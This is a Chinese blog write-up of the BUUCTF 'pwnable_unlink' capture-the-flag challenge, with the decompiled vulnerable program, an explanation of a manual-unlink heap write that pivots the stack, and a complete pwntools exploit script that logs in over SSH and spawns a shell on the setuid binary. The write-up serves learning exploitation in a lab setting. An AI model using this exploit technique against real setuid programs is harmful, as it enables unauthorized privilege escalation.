[BUUCTF pwn] pwnable_unlink

本文详细介绍了如何通过SSH连接到远程主机,利用程序中getsf函数的栈溢出漏洞,结合堆操作技巧,构建ROP链以获取shell。文章通过分析程序代码,展示了如何泄露栈和堆地址,以及如何构造payload来控制程序执行流程,最终实现权限提升。虽然未发现预想的后门,但通过理解和利用现有条件,成功地展示了安全漏洞的利用方法。
摘要由CSDN通过智能技术生成

这种题见得少,看漏了两点,不过又学了东西。

题目只给了ssh地址用户和端口号,登上去看有源码和程序,于是下下来。二进制不让cat,但是里边居然安了python,一句话生成base64,再取回来。

unlink@out:~$ ls -l
total 16
-rw-r----- 1 root root   43 Jan  2 07:31 flag.txt
-rwsr-sr-x 1 root root 7448 Feb 14  2020 unlink
-rw-r--r-- 1 root root  772 Feb 14  2020 unlink.c
unlink@out:~$

程序就是一个手工unlink操作,gets有溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v4; // [esp+0h] [ebp-14h] BYREF
  _DWORD *v5; // [esp+4h] [ebp-10h]
  _DWORD *v6; // [esp+8h] [ebp-Ch]
  int *v7; // [esp+Ch] [ebp-8h]

  v7 = &argc;
  malloc(0x400u);
  v4 = (char *)malloc(0x10u);
  v6 = malloc(0x10u);
  v5 = malloc(0x10u);
  *(_DWORD *)v4 = v6;
  v6[1] = v4;
  *v6 = v5;
  v5[1] = v6;
  printf("here is stack address leak: %p\n", &v4);
  printf("here is heap address leak: %p\n", v4);
  puts("now that you have leaks, get shell!");
  gets(v4 + 8);
  unlink(v6);
  return 0;
}
_DWORD *__cdecl unlink(int *a1)
{
  _DWORD *result; // eax
  int v2; // [esp+8h] [ebp-8h]
  _DWORD *v3; // [esp+Ch] [ebp-4h]

  v3 = (_DWORD *)a1[1];
  v2 = *a1;
  *(_DWORD *)(v2 + 4) = v3;
  result = v3;
  *v3 = v2;
  return result;
}

这里建了3个块,由第2块为P

FD = P->fd; BK = P->bk;

FD->bk=BK;BK->fd = FD;

有点乱但仔细想也不乱:

将P->fd写为heap+0x24就是移栈以后ROP要执行的位置,P->bk=stack+0xc就是pop ecx放的地方,在ret前会pop ecx;mov esp,[ecx-4]。然后后边有个后门提权并得到shell

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
else:
    shell = ssh(host='node4.buuoj.cn', port=26711, user='unlink', password='guest')
    p = shell.process('./unlink')

elf = ELF('./pwn')
context(arch='i386', log_level='debug')

p.recvuntil(b'here is stack address leak: ')
stack = int(p.recvline(), 16) 
p.recvuntil(b'here is heap address leak: ')
heap = int(p.recvline(), 16)
print('stack:', hex(stack), 'heap:', hex(heap))

payload = b'#'*0x10 + flat(heap+0x24, stack +0x14-0x8, 0x8048566)
p.sendlineafter(b"now that you have leaks, get shell!\n", payload)

p.sendline(b'cat flag.txt')
p.interactive()

没看到后门,发现有setuid和system,白浪费时间了。单独调用的时候会比这个长,rop+8的位置写BK的时候会写到,要提前跳过。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值